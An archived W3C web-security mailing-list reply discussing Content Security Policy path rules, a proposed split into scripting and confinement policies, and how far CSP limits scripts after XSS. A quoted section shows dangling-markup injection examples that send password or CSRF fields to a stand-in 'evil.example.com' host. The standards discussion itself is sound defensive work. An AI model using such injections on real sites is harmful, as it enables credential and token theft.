W3C home > Mailing lists > Public > public-webappsec@w3.org > July 2019

Re: A modest content security proposal.

From: Mike West <mkwst@google.com>
Date: Tue, 23 Jul 2019 09:51:14 +0200
Message-ID: <CAKXHy=fzNtuhT7WFK+5gG7S7PRTrP4iz8ArewVv1QK8RsTS8yQ@mail.gmail.com>
To: Craig Francis <craig.francis@gmail.com>, Devdatta Akhawe <dev@dropbox.com>
Cc: Web Application Security Working Group <public-webappsec@w3.org>
On Thu, Jul 18, 2019 at 3:03 PM Craig Francis <craig.francis@gmail.com>

> Dropbox does, e.g.
>     script-src ... https://www.dropbox.com/*static/compiled/js*/ ...

That's interesting! I see a `script-src` directive of:

'unsafe-eval' https://www.dropbox.com/static/compiled/js/
https://www.dropbox.com/static/api/ https://www.dropbox.com/page_success/
https://www.dropboxstatic.com/static/cms/ 'nonce-bd/4MtKomUcNJnd6l1bf'

I wonder whether any redirects exist under any of those directories?

I don't have fundamental objections to including some sort of path
restrictions in whatever we do next. I don't think they're terribly useful
as-defined in CSP3: they sincerely complicate writing a parser, and they're
more or less neutered so as to not leak data about redirects.

I'll describe my setup below, but in summary, while the initial setup took
> a few days, I was able to start with hostname only, and then I switched to
> path based restrictions one at a time.
> And once paths were setup, maintenance has been really easy (especially if
> the tooling exists to easily add paths to the CSP).

Thanks! This is interesting information! +Devdatta Akhawe
<dev@dropbox.com> might
have thoughts about the work/reward ratio that went into creating Dropbox's

My "trusted" server has a folder for user uploaded content, and I always
> see that as relatively dangerous.

That seems like a thing that would be worth looking into changing. `
googleusercontent.com` exists for a reason. :)

> The intention is to have layers... 1. my server side code shouldn't have
>> any XSS vulnerabilities; if it does, 2. CSP should stop the loading of
>> scripts; if that fails (e.g. a legitimate script was replaced by a hacker),
>> 3. that script should be limited in what it can do to that page.
> Nothing in this proposal (or CSP) limits the capability of a script to
> modify a given page. They both seem to limit the ability of a script to
> pull in resources, and potentially to exfiltrate data.
> True, modifying the current page isn't great, and I don't think there is a
> way to stop that.
> It does limit the script in getting information, and then applying
> modifications based on that, or pulling in even more resources (e.g. a
> crypto miner).
> But if that page contains sensitive data (e.g. information about someones
> disabilities), I want to do everything I can to stop that data getting out.
> Admittedly I'm sure there are still ways of exfiltrating, but my current
> CSP should make it difficult if the attacker has *only* managed to
> get JavaScript execution.
> That's where I would like the Resource Confinement to focus on... let's
> say the nonce based XSS Mitigation has failed, what now? do we just let the
> malicious JS do whatever it wants?


Unless (until!) we invent a mechanism for sandboxing scripts on a page (and
WASM's import structure might be a reasonable model), nothing about the
determination of _which_ scripts to execute will have an impact on _what_
those scripts can do once they execute.

And finally, some DOM messing around can cause issues:
>>    <form action="https://evil.example.com">
>>    <form action="./">
>>       <input name="password" />
>>    </form>
>>    <img src='https://evil.example.com<form action="./"><input
>> name="csrf" value="abc123" />...' />...
> These are indeed problems (along with the rest of
> http://lcamtuf.coredump.cx/postxss/).
> I'm fairly sure that's where I saw those problems first... but due to the
> CSP restrictions I've been able to add, with paths, I think I've got those
> issues covered as well (via form-action, img-src, and other things).

I suspect these will be better handled by changing the platform, a la
https://github.com/whatwg/fetch/issues/546 (which Chromium shipped, Apple
objected to, and Mozilla seemed on board with, at least conceptually).

> Maybe introduce Scripting-Policy first; then deprecate the
>> old/un-necessary parts of CSP, but still keep CSP around with a focus on
>> Resource Confinement?
> `Scripting-Policy` is the bit I'm most interested in, to be sure. I'm
> interested in `Confinement-Policy` mostly as a way to support the
> belt-and-suspenders approach noted in
> https://csp.withgoogle.com/docs/faq.html#strict-dynamic-with-whitelists.
> I think it will be difficult to use `Scripting-Policy` with CSP's
> `script-src` directive (or, at least, I'd consider it a non-goal to make
> that interaction simple and easy). If we're going to run in this direction,
> I'd prefer to just do one thing. Obviously we wouldn't dump CSP tomorrow,
> but I don't think keeping both around forever is a reasonable plan.
> That's a good example.
> The `Scripting-Policy` header should be the developers first and
> main focus, where I think it would help mitigate *most* of the XSS problems.
> But I'd still like to apply strict Resource Confinement.
> Maybe the recommendation to developers should be that the CSP header is
> added by websites that want/need to apply those extra restrictions?
> I think the current CSP syntax works well for that, it already gives you
> host based restrictions, it already allows you to add path restrictions,
> and it does it by resource type.
> Doing the nonce part separately, and deprecating things which aren't
> needed any more, will leave a fairly good Confinement-Policy.

That might well be a reasonable approach. I think CSP's history as a
dual-use mechanism has made some things more complicated than pure resource
confinement (see `style-src`'s `'unsafe-eval'` and `'unsafe-inline'` for
instance), but perhaps we can excise those pieces over time?

> As to the websites I build, this is perhaps going a bit off topic, but
> might be useful...

Thanks for the description of your workflow! I found it very interesting,
but I don't have any terribly insightful feedback for you beyond that. :)

Received on Tuesday, 23 July 2019 07:51:50 UTC

This archive was generated by hypermail 2.3.1 : Tuesday, 23 July 2019 07:51:51 UTC